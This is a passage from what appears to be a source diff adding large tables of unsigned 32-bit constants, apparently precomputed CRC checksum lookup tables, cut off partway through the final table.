3485111705u, 3099436303u, ++ 671266974u, 1594198024u, 3322730930u, 2970347812u, 795835527u, 1483230225u, 3244367275u, 3060149565u, ++ 1994146192u, 31158534u, 2563907772u, 4023717930u, 1907459465u, 112637215u, 2680153253u, 3904427059u, ++ 2013776290u, 251722036u, 2517215374u, 3775830040u, 2137656763u, 141376813u, 2439277719u, 3865271297u, ++ 1802195444u, 476864866u, 2238001368u, 4066508878u, 1812370925u, 453092731u, 2181625025u, 4111451223u, ++ 1706088902u, 314042704u, 2344532202u, 4240017532u, 1658658271u, 366619977u, 2362670323u, 4224994405u, ++ 1303535960u, 984961486u, 2747007092u, 3569037538u, 1256170817u, 1037604311u, 2765210733u, 3554079995u, ++ 1131014506u, 879679996u, 2909243462u, 3663771856u, 1141124467u, 855842277u, 2852801631u, 3708648649u, ++ 1342533948u, 654459306u, 3188396048u, 3373015174u, 1466479909u, 544179635u, 3110523913u, 3462522015u, ++ 1591671054u, 702138776u, 2966460450u, 3352799412u, 1504918807u, 783551873u, 3082640443u, 3233442989u, ++ 3988292384u, 2596254646u, 62317068u, 1957810842u, 3939845945u, 2647816111u, 81470997u, 1943803523u, ++ 3814918930u, 2489596804u, 225274430u, 2053790376u, 3826175755u, 2466906013u, 167816743u, 2097651377u, ++ 4027552580u, 2265490386u, 503444072u, 1762050814u, 4150417245u, 2154129355u, 426522225u, 1852507879u, ++ 4275313526u, 2312317920u, 282753626u, 1742555852u, 4189708143u, 2394877945u, 397917763u, 1622183637u, ++ 3604390888u, 2714866558u, 953729732u, 1340076626u, 3518719985u, 2797360999u, 1068828381u, 1219638859u, ++ 3624741850u, 2936675148u, 906185462u, 1090812512u, 3747672003u, 2825379669u, 829329135u, 1181335161u, ++ 3412177804u, 3160834842u, 628085408u, 1382605366u, 3423369109u, 3138078467u, 570562233u, 1426400815u, ++ 3317316542u, 2998733608u, 733239954u, 1555261956u, 3268935591u, 3050360625u, 752459403u, 1541320221u, ++ 2607071920u, 3965973030u, 1969922972u, 40735498u, 2617837225u, 3943577151u, 1913087877u, 83908371u, ++ 2512341634u, 3803740692u, 2075208622u, 213261112u, 2463272603u, 3855990285u, 2094854071u, 198958881u, ++ 2262029012u, 4057260610u, 1759359992u, 534414190u, 2176718541u, 4139329115u, 1873836001u, 414664567u, ++ 2282248934u, 4279200368u, 1711684554u, 285281116u, 2405801727u, 4167216745u, 1634467795u, 376229701u, ++ 2685067896u, 3608007406u, 1308918612u, 956543938u, 2808555105u, 3495958263u, 1231636301u, 1047427035u, ++ 2932959818u, 3654703836u, 1088359270u, 936918000u, 2847714899u, 3736837829u, 1202900863u, 817233897u, ++ 3183342108u, 3401237130u, 1404277552u, 615818150u, 3134207493u, 3453421203u, 1423857449u, 601450431u, ++ 3009837614u, 3294710456u, 1567103746u, 711928724u, 3020668471u, 3272380065u, 1510334235u, 755167117u, ++ }, { ++ 0u, 421212481u, 842424962u, 724390851u, 1684849924u, 2105013317u, 1448781702u, 1329698503u, ++ 3369699848u, 3519200073u, 4210026634u, 3824474571u, 2897563404u, 3048111693u, 2659397006u, 2274893007u, ++ 1254232657u, 1406739216u, 2029285587u, 1643069842u, 783210325u, 934667796u, 479770071u, 92505238u, ++ 2182846553u, 2600511768u, 2955803355u, 2838940570u, 3866582365u, 4285295644u, 3561045983u, 3445231262u, ++ 2508465314u, 2359236067u, 2813478432u, 3198777185u, 4058571174u, 3908292839u, 3286139684u, 3670389349u, ++ 1566420650u, 1145479147u, 1869335592u, 1987116393u, 959540142u, 539646703u, 185010476u, 303839341u, ++ 3745920755u, 3327985586u, 3983561841u, 4100678960u, 3140154359u, 2721170102u, 2300350837u, 2416418868u, ++ 396344571u, 243568058u, 631889529u, 1018359608u, 1945336319u, 1793607870u, 1103436669u, 1490954812u, ++ 4034481925u, 3915546180u, 3259968903u, 3679722694u, 2484439553u, 2366552896u, 2787371139u, 3208174018u, ++ 950060301u, 565965900u, 177645455u, 328046286u, 1556873225u, 1171730760u, 1861902987u, 2011255754u, ++ 3132841300u, 2745199637u, 2290958294u, 2442530455u, 3738671184u, 3352078609u, 3974232786u, 4126854035u, ++ 1919080284u, 1803150877u, 1079293406u, 1498383519u, 370020952u, 253043481u, 607678682u, 1025720731u, ++ 1711106983u, 2095471334u, 1472923941u, 1322268772u, 26324643u, 411738082u, 866634785u, 717028704u, ++ 2904875439u, 3024081134u, 2668790573u, 2248782444u, 3376948395u, 3495106026u, 4219356713u, 3798300520u, ++ 792689142u, 908347575u, 487136116u, 68299317u, 1263779058u, 1380486579u, 2036719216u, 1618931505u, ++ 3890672638u, 4278043327u, 3587215740u, 3435896893u, 2206873338u, 2593195963u, 2981909624u, 2829542713u, ++ 998479947u, 580430090u, 162921161u, 279890824u, 1609522511u, 1190423566u, 1842954189u, 1958874764u, ++ 4082766403u, 3930137346u, 3245109441u, 3631694208u, 2536953671u, 2385372678u, 2768287173u, 3155920004u, ++ 1900120602u, 1750776667u, 1131931800u, 1517083097u, 355290910u, 204897887u, 656092572u, 1040194781u, ++ 3113746450u, 2692952403u, 2343461520u, 2461357009u, 3723805974u, 3304059991u, 4022511508u, 4141455061u, ++ 2919742697u, 3072101800u, 2620513899u, 2234183466u, 3396041197u, 3547351212u, 4166851439u, 3779471918u, ++ 1725839073u, 2143618976u, 1424512099u, 1307796770u, 45282277u, 464110244u, 813994343u, 698327078u, ++ 3838160568u, 4259225593u, 3606301754u, 3488152955u, 2158586812u, 2578602749u, 2996767038u, 2877569151u, ++ 740041904u, 889656817u, 506086962u, 120682355u, 1215357364u, 1366020341u, 2051441462u, 1667084919u, ++ 3422213966u, 3538019855u, 4190942668u, 3772220557u, 2945847882u, 3062702859u, 2644537544u, 2226864521u, ++ 52649286u, 439905287u, 823476164u, 672009861u, 1733269570u, 2119477507u, 1434057408u, 1281543041u, ++ 2167981343u, 2552493150u, 3004082077u, 2853541596u, 3847487515u, 4233048410u, 3613549209u, 3464057816u, ++ 1239502615u, 1358593622u, 2077699477u, 1657543892u, 764250643u, 882293586u, 532408465u, 111204816u, ++ 1585378284u, 1197851309u, 1816695150u, 1968414767u, 974272232u, 587794345u, 136598634u, 289367339u, ++ 2527558116u, 2411481253u, 2760973158u, 3179948583u, 4073438432u, 3956313505u, 3237863010u, 3655790371u, ++ 347922877u, 229101820u, 646611775u, 1066513022u, 1892689081u, 1774917112u, 1122387515u, 1543337850u, ++ 3697634229u, 3313392372u, 3998419255u, 4148705398u, 3087642289u, 2702352368u, 2319436851u, 2468674930u, ++ }, { ++ 0u, 29518391u, 59036782u, 38190681u, 118073564u, 114017003u, 76381362u, 89069189u, ++ 236147128u, 265370511u, 228034006u, 206958561u, 152762724u, 148411219u, 178138378u, 190596925u, ++ 472294256u, 501532999u, 530741022u, 509615401u, 456068012u, 451764635u, 413917122u, 426358261u, ++ 305525448u, 334993663u, 296822438u, 275991697u, 356276756u, 352202787u, 381193850u, 393929805u, ++ 944588512u, 965684439u, 1003065998u, 973863097u, 1061482044u, 1049003019u, 1019230802u, 1023561829u, ++ 912136024u, 933002607u, 903529270u, 874031361u, 827834244u, 815125939u, 852716522u, 856752605u, ++ 611050896u, 631869351u, 669987326u, 640506825u, 593644876u, 580921211u, 551983394u, 556069653u, ++ 712553512u, 733666847u, 704405574u, 675154545u, 762387700u, 749958851u, 787859610u, 792175277u, ++ 1889177024u, 1901651959u, 1931368878u, 1927033753u, 2006131996u, 1985040171u, 1947726194u, 1976933189u, ++ 2122964088u, 2135668303u, 2098006038u, 2093965857u, 2038461604u, 2017599123u, 2047123658u, 2076625661u, ++ 1824272048u, 1836991623u, 1866005214u, 1861914857u, 1807058540u, 1786244187u, 1748062722u, 1777547317u, ++ 1655668488u, 1668093247u, 1630251878u, 1625932113u, 1705433044u, 1684323811u, 1713505210u, 1742760333u, ++ 1222101792u, 1226154263u, 1263738702u, 1251046777u, 1339974652u, 1310460363u, 1281013650u, 1301863845u, ++ 1187289752u, 1191637167u, 1161842422u, 1149379777u, 1103966788u, 1074747507u, 1112139306u, 1133218845u, ++ 1425107024u, 1429406311u, 1467333694u, 1454888457u, 1408811148u, 1379576507u, 1350309090u, 1371438805u, ++ 1524775400u, 1528845279u, 1499917702u, 1487177649u, 1575719220u, 1546255107u, 1584350554u, 1605185389u, ++ 3778354048u, 3774312887u, 3803303918u, 3816007129u, 3862737756u, 3892238699u, 3854067506u, 3833203973u, ++ 4012263992u, 4007927823u, 3970080342u, 3982554209u, 3895452388u, 3924658387u, 3953866378u, 3932773565u, ++ 4245928176u, 4241609415u, 4271336606u, 4283762345u, 4196012076u, 4225268251u, 4187931714u, 4166823541u, ++ 4076923208u, 4072833919u, 4035198246u, 4047918865u, 4094247316u, 4123732899u, 4153251322u, 4132437965u, ++ 3648544096u, 3636082519u, 3673983246u, 3678331705u, 3732010428u, 3753090955u, 3723829714u, 3694611429u, ++ 3614117080u, 3601426159u, 3572488374u, 3576541825u, 3496125444u, 3516976691u, 3555094634u, 3525581405u, ++ 3311336976u, 3298595879u, 3336186494u, 3340255305u, 3260503756u, 3281337595u, 3251864226u, 3222399125u, ++ 3410866088u, 3398419871u, 3368647622u, 3372945905u, 3427010420u, 3448139075u, 3485520666u, 3456284973u, ++ 2444203584u, 2423127159u, 2452308526u, 2481530905u, 2527477404u, 2539934891u, 2502093554u, 2497740997u, ++ 2679949304u, 2659102159u, 2620920726u, 2650438049u, 2562027300u, 2574714131u, 2603727690u, 2599670141u, ++ 2374579504u, 2353749767u, 2383274334u, 2412743529u, 2323684844u, 2336421851u, 2298759554u, 2294686645u, ++ 2207933576u, 2186809023u, 2149495014u, 2178734801u, 2224278612u, 2236720739u, 2266437690u, 2262135309u, ++ 2850214048u, 2820717207u, 2858812622u, 2879680249u, 2934667388u, 2938704459u, 2909776914u, 2897069605u, ++ 2817622296u, 2788420399u, 2759153014u, 2780249921u, 2700618180u, 2704950259u, 2742877610u, 2730399645u, ++ 3049550800u, 3020298727u, 3057690558u, 3078802825u, 2999835404u, 3004150075u, 2974355298u, 2961925461u, ++ 3151438440u, 3121956959u, 3092510214u, 3113327665u, 3168701108u, 3172786307u, 3210370778u, 3197646061u, ++ }, { ++ 0u, 3099354981u, 2852767883u, 313896942u, 2405603159u, 937357362u, 627793884u, 2648127673u, ++ 3316918511u, 2097696650u, 1874714724u, 3607201537u, 1255587768u, 4067088605u, 3772741427u, 1482887254u, ++ 1343838111u, 3903140090u, 4195393300u, 1118632049u, 3749429448u, 1741137837u, 1970407491u, 3452858150u, ++ 2511175536u, 756094997u, 1067759611u, 2266550430u, 449832999u, 2725482306u, 2965774508u, 142231497u, ++ 2687676222u, 412010587u, 171665333u, 2995192016u, 793786473u, 2548850444u, 2237264098u, 1038456711u, ++ 1703315409u, 3711623348u, 3482275674u, 1999841343u, 3940814982u, 1381529571u, 1089329165u, 4166106984u, ++ 4029413537u, 1217896388u, 1512189994u, 3802027855u, 2135519222u, 3354724499u, 3577784189u, 1845280792u, ++ 899665998u, 2367928107u, 2677414085u, 657096608u, 3137160985u, 37822588u, 284462994u, 2823350519u, ++ 2601801789u, 598228824u, 824021174u, 2309093331u, 343330666u, 2898962447u, 3195996129u, 113467524u, ++ 1587572946u, 3860600759u, 4104763481u, 1276501820u, 3519211397u, 1769898208u, 2076913422u, 3279374443u, ++ 3406630818u, 1941006535u, 1627703081u, 3652755532u, 1148164341u, 4241751952u, 3999682686u, 1457141531u, ++ 247015245u, 3053797416u, 2763059142u, 470583459u, 2178658330u, 963106687u, 735213713u, 2473467892u, ++ 992409347u, 2207944806u, 2435792776u, 697522413u, 3024379988u, 217581361u, 508405983u, 2800865210u, ++ 4271038444u, 1177467017u, 1419450215u, 3962007554u, 1911572667u, 3377213406u, 3690561584u, 1665525589u, ++ 1799331996u, 3548628985u, 3241568279u, 2039091058u, 3831314379u, 1558270126u, 1314193216u, 4142438437u, ++ 2928380019u, 372764438u, 75645176u, 3158189981u, 568925988u, 2572515393u, 2346768303u, 861712586u, ++ 3982079547u, 1441124702u, 1196457648u, 4293663189u, 1648042348u, 3666298377u, 3358779879u, 1888390786u, ++ 686661332u, 2421291441u, 2196002399u, 978858298u, 2811169155u, 523464422u, 226935048u, 3040519789u, ++ 3175145892u, 100435649u, 390670639u, 2952089162u, 841119475u, 2325614998u, 2553003640u, 546822429u, ++ 2029308235u, 3225988654u, 3539796416u, 1782671013u, 4153826844u, 1328167289u, 1570739863u, 3844338162u, ++ 1298864389u, 4124540512u, 3882013070u, 1608431339u, 3255406162u, 2058742071u, 1744848601u, 3501990332u, ++ 2296328682u, 811816591u, 584513889u, 2590678532u, 129869501u, 3204563416u, 2914283062u, 352848211u, ++ 494030490u, 2781751807u, 3078325777u, 264757620u, 2450577869u, 715964072u, 941166918u, 2158327331u, ++ 3636881013u, 1618608400u, 1926213374u, 3396585883u, 1470427426u, 4011365959u, 4255988137u, 1158766284u, ++ 1984818694u, 3471935843u, 3695453837u, 1693991400u, 4180638033u, 1100160564u, 1395044826u, 3952793279u, ++ 3019491049u, 189112716u, 435162722u, 2706139399u, 1016811966u, 2217162459u, 2526189877u, 774831696u, ++ 643086745u, 2666061564u, 2354934034u, 887166583u, 2838900430u, 294275499u, 54519365u, 3145957664u, ++ 3823145334u, 1532818963u, 1240029693u, 4048895640u, 1820460577u, 3560857924u, 3331051178u, 2117577167u, ++ 3598663992u, 1858283101u, 2088143283u, 3301633750u, 1495127663u, 3785470218u, 4078182116u, 1269332353u, ++ 332098007u, 2876706482u, 3116540252u, 25085497u, 2628386432u, 605395429u, 916469259u, 2384220526u, ++ 2254837415u, 1054503362u, 745528876u, 2496903497u, 151290352u, 2981684885u, 2735556987u, 464596510u, ++ 1137851976u, 4218313005u, 3923506883u, 1365741990u, 3434129695u, 1946996346u, 1723425172u, 3724871409u, ++ }, { ++ 0u, 1029712304u, 2059424608u, 1201699536u, 4118849216u, 3370159984u, 2403399072u, 2988497936u, ++ 812665793u, 219177585u, 1253054625u, 2010132753u, 3320900865u, 4170237105u, 3207642721u, 2186319825u, ++ 1625331586u, 1568718386u, 438355170u, 658566482u, 2506109250u, 2818578674u, 4020265506u, 3535817618u, ++ 1351670851u, 1844508147u, 709922595u, 389064339u, 2769320579u, 2557498163u, 3754961379u, 3803185235u, ++ 3250663172u, 4238411444u, 3137436772u, 2254525908u, 876710340u, 153198708u, 1317132964u, 1944187668u, ++ 4054934725u, 3436268917u, 2339452837u, 3054575125u, 70369797u, 961670069u, 2129760613u, 1133623509u, ++ 2703341702u, 2621542710u, 3689016294u, 3867263574u, 1419845190u, 1774270454u, 778128678u, 318858390u, ++ 2438067015u, 2888948471u, 3952189479u, 3606153623u, 1691440519u, 1504803895u, 504432359u, 594620247u, ++ 1492342857u, 1704161785u, 573770537u, 525542041u, 2910060169u, 2417219385u, 3618876905u, 3939730521u, ++ 1753420680u, 1440954936u, 306397416u, 790849880u, 2634265928u, 2690882808u, 3888375336u, 3668168600u, ++ 940822475u, 91481723u, 1121164459u, 2142483739u, 3448989963u, 4042473659u, 3075684971u, 2318603227u, ++ 140739594u, 889433530u, 1923340138u, 1338244826u, 4259521226u, 3229813626u, 2267247018u, 3124975642u, ++ 2570221389u, 2756861693u, 3824297005u, 3734113693u, 1823658381u, 1372780605u, 376603373u, 722643805u, ++ 2839690380u, 2485261628u, 3548540908u, 4007806556u, 1556257356u, 1638052860u, 637716780u, 459464860u, ++ 4191346895u, 3300051327u, 2199040943u, 3195181599u, 206718479u, 825388991u, 1989285231u, 1274166495u, ++ 3382881038u, 4106388158u, 3009607790u, 2382549470u, 1008864718u, 21111934u, 1189240494u, 2072147742u, ++ 2984685714u, 2357631266u, 3408323570u, 4131834434u, 1147541074u, 2030452706u, 1051084082u, 63335554u, ++ 2174155603u, 3170292451u, 4216760371u, 3325460867u, 1947622803u, 1232499747u, 248909555u, 867575619u, ++ 3506841360u, 3966111392u, 2881909872u, 2527485376u, 612794832u, 434546784u, 1581699760u, 1663499008u, ++ 3782634705u, 3692447073u, 2612412337u, 2799048193u, 351717905u, 697754529u, 1849071985u, 1398190273u, ++ 1881644950u, 1296545318u, 182963446u, 931652934u, 2242328918u, 3100053734u, 4284967478u, 3255255942u, ++ 1079497815u, 2100821479u, 983009079u, 133672583u, 3050795671u, 2293717799u, 3474399735u, 4067887175u, ++ 281479188u, 765927844u, 1778867060u, 1466397380u, 3846680276u, 3626469220u, 2676489652u, 2733102084u, ++ 548881365u, 500656741u, 1517752501u, 1729575173u, 3577210133u, 3898068133u, 2952246901u, 2459410373u, ++ 3910527195u, 3564487019u, 2480257979u, 2931134987u, 479546907u, 569730987u, 1716854139u, 1530213579u, ++ 3647316762u, 3825568426u, 2745561210u, 2663766474u, 753206746u, 293940330u, 1445287610u, 1799716618u, ++ 2314567513u, 3029685993u, 4080348217u, 3461678473u, 2088098201u, 1091956777u, 112560889u, 1003856713u, ++ 3112514712u, 2229607720u, 3276105720u, 4263857736u, 1275433560u, 1902492648u, 918929720u, 195422344u, ++ 685033439u, 364179055u, 1377080511u, 1869921551u, 3713294623u, 3761522863u, 2811507327u, 2599689167u, ++ 413436958u, 633644462u, 1650777982u, 1594160846u, 3978570462u, 3494118254u, 2548332990u, 2860797966u, ++ 1211387997u, 1968470509u, 854852413u, 261368461u, 3182753437u, 2161434413u, 3346310653u, 4195650637u, ++ 2017729436u, 1160000044u, 42223868u, 1071931724u, 2378480988u, 2963576044u, 4144295484u, 3395602316u, ++ }, { ++ 0u, 3411858341u, 1304994059u, 2257875630u, 2609988118u, 1355649459u, 3596215069u, 486879416u, ++ 3964895853u, 655315400u, 2711298918u, 1791488195u, 2009251963u, 3164476382u, 973758832u, 4048990933u, ++ 64357019u, 3364540734u, 1310630800u, 2235723829u, 2554806413u, 1394316072u, 3582976390u, 517157411u, ++ 4018503926u, 618222419u, 2722963965u, 1762783832u, 1947517664u, 3209171269u, 970744811u, 4068520014u, ++ 128714038u, 3438335635u, 1248109629u, 2167961496u, 2621261600u, 1466012805u, 3522553387u, 447296910u, ++ 3959392091u, 547575038u, 2788632144u, 1835791861u, 1886307661u, 3140622056u, 1034314822u, 4143626211u, ++ 75106221u, 3475428360u, 1236444838u, 2196665603u, 2682996155u, 1421317662u, 3525567664u, 427767573u, ++ 3895035328u, 594892389u, 2782995659u, 1857943406u, 1941489622u, 3101955187u, 1047553757u, 4113347960u, ++ 257428076u, 3288652233u, 1116777319u, 2311878850u, 2496219258u, 1603640287u, 3640781169u, 308099796u, ++ 3809183745u, 676813732u, 2932025610u, 1704983215u, 2023410199u, 3016104370u, 894593820u, 4262377657u, ++ 210634999u, 3352484690u, 1095150076u, 2316991065u, 2535410401u, 1547934020u, 3671583722u, 294336591u, ++ 3772615322u, 729897279u, 2903845777u, 1716123700u, 2068629644u, 2953845545u, 914647431u, 4258839074u, ++ 150212442u, 3282623743u, 1161604689u, 2388688372u, 2472889676u, 1480171241u, 3735940167u, 368132066u, ++ 3836185911u, 805002898u, 2842635324u, 1647574937u, 2134298401u, 3026852996u, 855535146u, 4188192143u, ++ 186781121u, 3229539940u, 1189784778u, 2377547631u, 2427670487u, 1542429810u, 3715886812u, 371670393u, ++ 3882979244u, 741170185u, 2864262823u, 1642462466u, 2095107514u, 3082559007u, 824732849u, 4201955092u, ++ 514856152u, 3589064573u, 1400419795u, 2552522358u, 2233554638u, 1316849003u, 3370776517u, 62202976u, ++ 4075001525u, 968836368u, 3207280574u, 1954014235u, 1769133219u, 2720925446u, 616199592u, 4024870413u, ++ 493229635u, 3594175974u, 1353627464u, 2616354029u, 2264355925u, 1303087088u, 3409966430u, 6498043u, ++ 4046820398u, 979978123u, 3170710821u, 2007099008u, 1789187640u, 2717386141u, 661419827u, 3962610838u, ++ 421269998u, 3527459403u, 1423225061u, 2676515648u, 2190300152u, 1238466653u, 3477467891u, 68755798u, ++ 4115633027u, 1041448998u, 3095868040u, 1943789869u, 1860096405u, 2776760880u, 588673182u, 3897205563u, ++ 449450869u, 3516317904u, 1459794558u, 2623431131u, 2170245475u, 1242006214u, 3432247400u, 131015629u, ++ 4137259288u, 1036337853u, 3142660115u, 1879958454u, 1829294862u, 2790523051u, 549483013u, 3952910752u, ++ 300424884u, 3669282065u, 1545650111u, 2541513754u, 2323209378u, 1092980487u, 3350330793u, 216870412u, ++ 4256931033u, 921128828u, 2960342482u, 2066738807u, 1714085583u, 2910195050u, 736264132u, 3770592353u, ++ 306060335u, 3647131530u, 1610005796u, 2494197377u, 2309971513u, 1123257756u, 3295149874u, 255536279u, ++ 4268596802u, 892423655u, 3013951305u, 2029645036u, 1711070292u, 2929725425u, 674528607u, 3815288570u, ++ 373562242u, 3709388839u, 1535949449u, 2429577516u, 2379569556u, 1183418929u, 3223189663u, 188820282u, ++ 4195850735u, 827017802u, 3084859620u, 2089020225u, 1636228089u, 2866415708u, 743340786u, 3876759895u, ++ 361896217u, 3738094268u, 1482340370u, 2466671543u, 2382584591u, 1163888810u, 3284924932u, 144124321u, ++ 4190215028u, 849168593u, 3020503679u, 2136336858u, 1649465698u, 2836138695u, 798521449u, 3838094284u, ++ }, { ++ 0u, 2792819636u, 2543784233u, 837294749u, 4098827283u, 1379413927u, 1674589498u, 3316072078u, ++ 871321191u, 2509784531u, 2758827854u, 34034938u, 3349178996u, 1641505216u, 1346337629u, 4131942633u, ++ 1742642382u, 3249117050u, 4030828007u, 1446413907u, 2475800797u, 904311657u, 68069876u, 2725880384u, ++ 1412551337u, 4064729373u, 3283010432u, 1708771380u, 2692675258u, 101317902u, 937551763u, 2442587175u, ++ 3485284764u, 1774858792u, 1478633653u, 4266992385u, 1005723023u, 2642744891u, 2892827814u, 169477906u, ++ 4233263099u, 1512406095u, 1808623314u, 3451546982u, 136139752u, 2926205020u, 2676114113u, 972376437u, ++ 2825102674u, 236236518u, 1073525883u, 2576072655u, 1546420545u, 4200303349u, 3417542760u, 1841601500u, ++ 2609703733u, 1039917185u, 202635804u, 2858742184u, 1875103526u, 3384067218u, 4166835727u, 1579931067u, ++ 1141601657u, 3799809741u, 3549717584u, 1977839588u, 2957267306u, 372464350u, 668680259u, 2175552503u, ++ 2011446046u, 3516084394u, 3766168119u, 1175200131u, 2209029901u, 635180217u, 338955812u, 2990736784u, ++ 601221559u, 2242044419u, 3024812190u, 306049834u, 3617246628u, 1911408144u, 1074125965u, 3866285881u, ++ 272279504u, 3058543716u, 2275784441u, 567459149u, 3832906691u, 1107462263u, 1944752874u, 3583875422u, ++ 2343980261u, 767641425u, 472473036u, 3126744696u, 2147051766u, 3649987394u, 3899029983u, 1309766251u, ++ 3092841090u, 506333494u, 801510315u, 2310084639u, 1276520081u, 3932237093u, 3683203000u, 2113813516u, ++ 3966292011u, 1243601823u, 2079834370u, 3716205238u, 405271608u, 3192979340u, 2411259153u, 701492901u, ++ 3750207052u, 2045810168u, 1209569125u, 4000285905u, 734575199u, 2378150379u, 3159862134u, 438345922u, ++ 2283203314u, 778166598u, 529136603u, 3120492655u, 2086260449u, 3660498261u, 3955679176u, 1303499900u, ++ 3153699989u, 495890209u, 744928700u, 2316418568u, 1337360518u, 3921775410u, 3626602927u, 2120129051u, ++ 4022892092u, 1237286280u, 2018993941u, 3726666913u, 461853231u, 3186645403u, 2350400262u, 711936178u, ++ 3693557851u, 2052076527u, 1270360434u, 3989775046u, 677911624u, 2384402428u, 3220639073u, 427820757u, ++ 1202443118u, 3789347034u, 3493118535u, 1984154099u, 3018127229u, 362020041u, 612099668u, 2181885408u, ++ 1950653705u, 3526596285u, 3822816288u, 1168934804u, 2148251930u, 645706414u, 395618355u, 2984485767u, ++ 544559008u, 2248295444u, 3085590153u, 295523645u, 3560598451u, 1917673479u, 1134918298u, 3855773998u, ++ 328860103u, 3052210803u, 2214924526u, 577903450u, 3889505748u, 1101147744u, 1883911421u, 3594338121u, ++ 3424493451u, 1785369663u, 1535282850u, 4260726038u, 944946072u, 2653270060u, 2949491377u, 163225861u, ++ 4294103532u, 1501944408u, 1752023237u, 3457862513u, 196998655u, 2915761739u, 2619532502u, 978710370u, ++ 2881684293u, 229902577u, 1012666988u, 2586515928u, 1603020630u, 4193987810u, 3356702335u, 1852063179u, ++ 2553040162u, 1046169238u, 263412747u, 2848217023u, 1818454321u, 3390333573u, 4227627032u, 1569420204u, ++ 60859927u, 2782375331u, 2487203646u, 843627658u, 4159668740u, 1368951216u, 1617990445u, 3322386585u, ++ 810543216u, 2520310724u, 2815490393u, 27783917u, 3288386659u, 1652017111u, 1402985802u, 4125677310u, ++ 1685994201u, 3255382381u, 4091620336u, 1435902020u, 2419138250u, 910562686u, 128847843u, 2715354199u, ++ 1469150398u, 4058414858u, 3222168983u, 1719234083u, 2749255853u, 94984985u, 876691844u, 2453031472u, ++ }, { ++ 0u, 3433693342u, 1109723005u, 2391738339u, 2219446010u, 1222643300u, 3329165703u, 180685081u, ++ 3555007413u, 525277995u, 2445286600u, 1567235158u, 1471092047u, 2600801745u, 361370162u, 3642757804u, ++ 2092642603u, 2953916853u, 1050555990u, 4063508168u, 4176560081u, 878395215u, 3134470316u, 1987983410u, ++ 2942184094u, 1676945920u, 3984272867u, 567356797u, 722740324u, 3887998202u, 1764827929u, 2778407815u, ++ 4185285206u, 903635656u, 3142804779u, 2012833205u, 2101111980u, 2979425330u, 1058630609u, 4088621903u, ++ 714308067u, 3862526333u, 1756790430u, 2753330688u, 2933487385u, 1651734407u, 3975966820u, 542535930u, ++ 2244825981u, 1231508451u, 3353891840u, 188896414u, 25648519u, 3442302233u, 1134713594u, 2399689316u, ++ 1445480648u, 2592229462u, 336416693u, 3634843435u, 3529655858u, 516441772u, 2420588879u, 1559052753u, ++ 698204909u, 3845636723u, 1807271312u, 2803025166u, 2916600855u, 1635634313u, 4025666410u, 593021940u, ++ 4202223960u, 919787974u, 3093159461u, 1962401467u, 2117261218u, 2996361020u, 1008193759u, 4038971457u, ++ 1428616134u, 2576151384u, 386135227u, 3685348389u, 3513580860u, 499580322u, 2471098945u, 1608776415u, ++ 2260985971u, 1248454893u, 3303468814u, 139259792u, 42591881u, 3458459159u, 1085071860u, 2349261162u, ++ 3505103035u, 474062885u, 2463016902u, 1583654744u, 1419882049u, 2550902495u, 377792828u, 3660491170u, ++ 51297038u, 3483679632u, 1093385331u, 2374089965u, 2269427188u, 1273935210u, 3311514249u, 164344343u, ++ 2890961296u, 1627033870u, 4000683757u, 585078387u, 672833386u, 3836780532u, 1782552599u, 2794821769u, ++ 2142603813u, 3005188795u, 1032883544u, 4047146438u, 4227826911u, 928351297u, 3118105506u, 1970307900u, ++ 1396409818u, 2677114180u, 287212199u, 3719594553u, 3614542624u, 467372990u, 2505346141u, 1509854403u, ++ 2162073199u, 1282711281u, 3271268626u, 240228748u, 76845205u, 3359543307u, 1186043880u, 2317064054u, ++ 796964081u, 3811226735u, 1839575948u, 2702160658u, 2882189835u, 1734392469u, 3924802934u, 625327592u, ++ 4234522436u, 818917338u, 3191908409u, 1927981223u, 2016387518u, 3028656416u, 973776579u, 4137723485u, ++ 2857232268u, 1726474002u, 3899187441u, 616751215u, 772270454u, 3803048424u, 1814228491u, 2693328533u, ++ 2041117753u, 3036871847u, 999160644u, 4146592730u, 4259508931u, 826864221u, 3217552830u, 1936586016u, ++ 3606501031u, 442291769u, 2496909786u, 1484378436u, 1388107869u, 2652297411u, 278519584u, 3694387134u, ++ 85183762u, 3384397196u, 1194773103u, 2342308593u, 2170143720u, 1307820918u, 3279733909u, 265733131u, ++ 2057717559u, 3054258089u, 948125770u, 4096344276u, 4276898253u, 843467091u, 3167309488u, 1885556270u, ++ 2839764098u, 1709792284u, 3949353983u, 667704161u, 755585656u, 3785577190u, 1865176325u, 2743489947u, ++ 102594076u, 3401021058u, 1144549729u, 2291298815u, 2186770662u, 1325234296u, 3228729243u, 215514885u, ++ 3589828009u, 424832311u, 2547870420u, 1534552650u, 1370645331u, 2635621325u, 328688686u, 3745342640u, ++ 2211456353u, 1333405183u, 3254067740u, 224338562u, 127544219u, 3408931589u, 1170156774u, 2299866232u, ++ 1345666772u, 2627681866u, 303053225u, 3736746295u, 3565105198u, 416624816u, 2522494803u, 1525692365u, ++ 4285207626u, 868291796u, 3176010551u, 1910772649u, 2065767088u, 3079346734u, 956571085u, 4121828691u, ++ 747507711u, 3760459617u, 1856702594u, 2717976604u, 2831417605u, 1684930971u, 3940615800u, 642451174u, ++ }, ++ { ++ 0u, 393942083u, 787884166u, 965557445u, 1575768332u, 1251427663u, 1931114890u, 1684106697u, ++ 3151536664u, 2896410203u, 2502855326u, 2186649309u, 3862229780u, 4048545623u, 3368213394u, 3753496529u, ++ 2898281073u, 3149616690u, 2184604407u, 2504883892u, 4046197629u, 3864463166u, 3755621371u, 3366006712u, ++ 387506281u, 6550570u, 971950319u, 781573292u, 1257550181u, 1569695014u, 1677892067u, 1937345952u, ++ 2196865699u, 2508887776u, 2886183461u, 3145514598u, 3743273903u, 3362179052u, 4058774313u, 3868258154u, ++ 958996667u, 777139448u, 400492605u, 10755198u, 1690661303u, 1941857780u, 1244879153u, 1565019506u, ++ 775012562u, 961205393u, 13101140u, 398261271u, 1943900638u, 1688634781u, 1563146584u, 1246801179u, ++ 2515100362u, 2190636681u, 3139390028u, 2892258831u, 3355784134u, 3749586821u, 3874691904u, 4052225795u, ++ 3734110983u, 3387496260u, 4033096577u, 3877584834u, 2206093835u, 2483373640u, 2911402637u, 3136515790u, ++ 1699389727u, 1915860316u, 1270647193u, 1556585946u, 950464531u, 803071056u, 374397077u, 19647702u, ++ 1917993334u, 1697207605u, 1554278896u, 1272937907u, 800985210u, 952435769u, 21510396u, 372452543u, ++ 3381322606u, 3740399405u, 3883715560u, 4027047851u, 2489758306u, 2199758369u, 3130039012u, 2917895847u, ++ 1550025124u, 1259902439u, 1922410786u, 1710144865u, 26202280u, 